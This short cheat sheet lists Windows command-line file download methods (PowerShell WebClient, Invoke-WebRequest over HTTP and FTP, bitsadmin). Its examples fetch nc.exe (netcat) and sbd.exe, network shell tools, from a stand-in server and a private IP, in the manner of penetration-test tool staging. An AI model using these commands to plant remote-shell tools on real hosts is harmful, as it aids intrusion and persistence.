Objective
- Methods to download files via the Windows commandline.
Powershell 2.0:
Download a file via HTTP:
$client = New-Object "System.Net.WebClient" $client.DownloadFile("http://somesite.com/largefile.zip","c:\temp\largefile.zip" |
Powershell > 3.0:
Download a file via HTTP:
Invoke-WebRequest -uri "http://myserver.com/nc.exe" -outfile ".\nc.exe" |
Download a file via FTP:
Invoke-WebRequest -uri "ftp://myserver.com/nc.exe" -outfile ".\nc.exe" -credential ftpuser |
note: wget is in Powershell an alias for Invoke-WebRequest, don’t mix this up with the tool wget.
Download via bitsadmin:
bitsadmin /transfer n "http://192.168.1.9/sbd.exe" "c:\users\mambo yoyo\sbd.exe" |